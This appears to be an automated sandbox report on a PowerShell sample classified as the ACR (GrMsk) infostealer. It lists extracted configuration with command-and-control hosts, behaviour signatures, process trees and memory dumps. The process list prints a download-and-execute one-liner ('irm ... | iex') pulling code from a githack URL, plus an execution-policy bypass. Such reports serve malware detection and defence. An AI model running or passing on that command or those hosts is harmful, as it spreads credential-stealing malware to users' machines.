Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
28/09/2026, 12:20
General
- Target 76f4346f-d81c-465f-9d7b-fa5089c9ea3b.ps1
- Size 93KB
- Sample260928-ph6e1svsdw
- SHA256 3c2d602ddfa3fb7fdc5aedc735a07cab7ee70a77e739070538d03dca17cd579d
Malware Config
Extracted
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acrstealer
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4.4.3-alpha1
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imap.quietfox.cc
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cloudflare.com
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ddrs
https://telegra.ph/Built-in-Types-08-01
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guids
f1575b64-8492-4e8b-b102-4d26e8c70371
019fd851-d0e2-7805-ae09-2dd1daa78960
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user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\76f4346f-d81c-465f-9d7b-fa5089c9ea3b.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\luwmlntp\luwmlntp.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6279.tmp" "c:\Users\Admin\AppData\Local\Temp\luwmlntp\CSC7BDDCEFFF0614C1D9D91ED5715579D11.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qpsqhyo2\qpsqhyo2.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES64EA.tmp" "c:\Users\Admin\AppData\Local\Temp\qpsqhyo2\CSC9C45A75547F246558CBB98FF615D62E4.TMP"3⤵
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/dsteru3421/5c5d8d-0333-4cbe-b328-d84e0dd9d/refs/heads/main/71f93c0a-94ad-4763-bab8-ba459e8b3395 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RES6279.tmp
RES64EA.tmp
__PSScriptPolicyTest_403wwt1h.l2p.ps1
luwmlntp.dll
qpsqhyo2.dll
CSC7BDDCEFFF0614C1D9D91ED5715579D11.TMP
luwmlntp.0.cs
luwmlntp.cmdline
CSC9C45A75547F246558CBB98FF615D62E4.TMP
qpsqhyo2.0.cs
qpsqhyo2.cmdline
memory/2612-50-0x000001FDEEBE0000-0x000001FDEEBFC000-memory.dmp
memory/2612-45-0x000001FDEE850000-0x000001FDEE86E000-memory.dmp
memory/2612-10-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-11-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-12-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-25-0x000001FDD5F10000-0x000001FDD5F18000-memory.dmp
memory/2612-26-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-32-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-33-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-36-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-8-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-7-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-42-0x000001FDD6000000-0x000001FDD6008000-memory.dmp
memory/2612-6-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-46-0x000001FDEE870000-0x000001FDEE922000-memory.dmp
memory/2612-0-0x00007FF89FD7F000-0x00007FF89FD80000-memory.dmp
memory/2612-5-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-47-0x000001FDEE840000-0x000001FDEE84A000-memory.dmp
memory/2612-1-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-48-0x000001FDEEBA0000-0x000001FDEEBBE000-memory.dmp
memory/2612-49-0x000001FDEEB80000-0x000001FDEEB8A000-memory.dmp
memory/2612-4-0x000001FDD6010000-0x000001FDD6032000-memory.dmp
memory/2612-52-0x000001FDEEBC0000-0x000001FDEEBC6000-memory.dmp
memory/2612-53-0x000001FDEEBD0000-0x000001FDEEBDA000-memory.dmp
memory/2612-51-0x000001FDEEB90000-0x000001FDEEB98000-memory.dmp
memory/2612-156-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-155-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-9-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/2612-70-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp
memory/4456-71-0x0000000000650000-0x0000000000693000-memory.dmp
memory/4456-72-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-281-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-259-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-223-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-181-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-115-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-116-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-110-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-78-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4456-74-0x00000000022D0000-0x0000000002398000-memory.dmp
memory/4540-66-0x0000000007C60000-0x0000000007E22000-memory.dmp
memory/4540-64-0x00000000075E0000-0x0000000007C5C000-memory.dmp
memory/4540-57-0x00000000055C0000-0x0000000005626000-memory.dmp
memory/4540-69-0x000000000B3F0000-0x000000000B9AA000-memory.dmp
memory/4540-68-0x0000000007390000-0x00000000073B2000-memory.dmp
memory/4540-67-0x00000000073F0000-0x0000000007486000-memory.dmp
memory/4540-58-0x0000000005630000-0x0000000005696000-memory.dmp
memory/4540-56-0x0000000005520000-0x0000000005542000-memory.dmp
memory/4540-55-0x0000000004EA0000-0x00000000054EA000-memory.dmp
memory/4540-54-0x00000000027E0000-0x0000000002816000-memory.dmp
memory/4540-65-0x00000000061D0000-0x00000000061EA000-memory.dmp
memory/4540-63-0x0000000005CF0000-0x0000000005D3C000-memory.dmp
memory/4540-62-0x0000000005930000-0x000000000594E000-memory.dmp
memory/4540-61-0x0000000005960000-0x0000000005CBB000-memory.dmp